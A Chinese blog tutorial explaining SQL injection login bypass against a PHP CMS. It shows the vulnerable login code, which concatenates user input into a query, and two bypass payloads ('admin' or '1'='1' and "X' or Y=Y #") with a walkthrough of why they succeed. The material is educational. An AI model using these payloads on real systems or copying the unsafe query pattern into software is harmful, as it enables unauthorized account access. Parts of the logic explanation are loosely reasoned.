万能用户名(密码)原理分析

目录

分析后端登陆源代码:

万能命令1:

已知用户名情况下:

万能命令2

用户名和密码的未知情况下:

原理分析:


分析后端登陆源代码:

  • 后端源代码在【.\phpStudy\WWW\cms\admin\login.action.php】中。
  • 运算符优先级:and>or
  • 第二十行 --- 搜索与cms_users(数据库)相匹配的账号与密码。

 --- 【.$username.】--- 接收前端登录框账号的位置。

 --- 【.md5 ( $password .】--- 接收前端登录框密码的位置。

如下图是登陆界面的源代码:

<?php
session_start ();
header('Content-Type: text/html; charset=utf-8');
include_once ("../include/config.inc.php");
if (isset ( $_POST ["username"] )) {
	$username = $_POST ["username"];
} else {
	$username = "";
}
if (isset ( $_POST ["password"] )) {
	$password = $_POST ["password"];
} else {
	$password = "";
}
//记住用户名
setcookie (username, $username,time()+3600*24*365);
if (empty($username)||empty($password)){
	exit("<script>alert('用户名或密码不能为空!');window.history.go(-1)</script>");
}
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
if (!empty($user_row )) {
	setcookie (userid, $user_row ['userid'] ); 
	header("Location: index.php");
}else{
	exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>");
}
?>

万能命令1:

已知用户名情况下:
已知的用户名' or 'X' ='X       // X:表示有理数
"select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
  • 将第一条代码输入到用户名,密码随机输入,后端数据库代码将会如下所示。
"...'".$username."' and password='".md5 ( $password ) ."'");
.$username. --- 变成 admin' or '1'='1
.md5 ( $password ) . --- 变成 123    合并如下式
'admin' or '1'='1' and '123';    //"" 在数据库中为表示扩住的为字符串
已知优先级 and > or    // and(与运算):同真为真,有假则假                                                       or(或运算):有真则真,同假则假
'1'='1' and '123' //左对右错,不清楚密码,密码乱输的,所以结果为 False
'admin' or False //用户名是正确的,所以格式为 Ture or False --- 有真则真
所以最后数据库得出来的结果为正确的,于是登录成功

此处为版本问题,无需理会


 

万能命令2

用户名和密码的未知情况下:
X' or Y=Y #      //X --- 未知的用户名  Y --- 有理数
"select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
  • 在登录界面,随机输入用户名和密码,后端数据库代码将会如下所示。
"...'".$username."' and password='".md5 ( $password ) ."'");
.$username. --- 变成 X' or 'Y'='Y #
.md5 ( $password ) . --- 变成 123123    合并如下式
'Zeus' or -1=-1 #' and '123';    //"" 在数据库中为表示扩住的为字符串   # 在数据库中表示注释 
,# 后面的代码全部当做注释,于是密码部分被注释掉了,只剩下前部分 or(或运算)部分
'Zeus' or -1=-1 #' and '123';  //用户名为假,-1=-1 为真
False or ture; //or(或运算):有真则真,同假则假
所以最后数据库得出来的结果为正确的,于是登录成功

原理分析:

通过两个例子可知,万能式子是利用后端代码与数据库交互的漏洞,并结合运算符算法,使最后的结果输出为真。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值